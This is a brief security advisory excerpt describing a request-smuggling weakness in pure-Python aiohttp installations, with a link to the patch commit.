Impact If a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or AIOHTTPNOEXTENSIONS is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections.
----
Patch: https://github.com/aio-libs/aiohttp/commit/e8d774f635dc6d1cd3174d0e38891da5de0e2b6a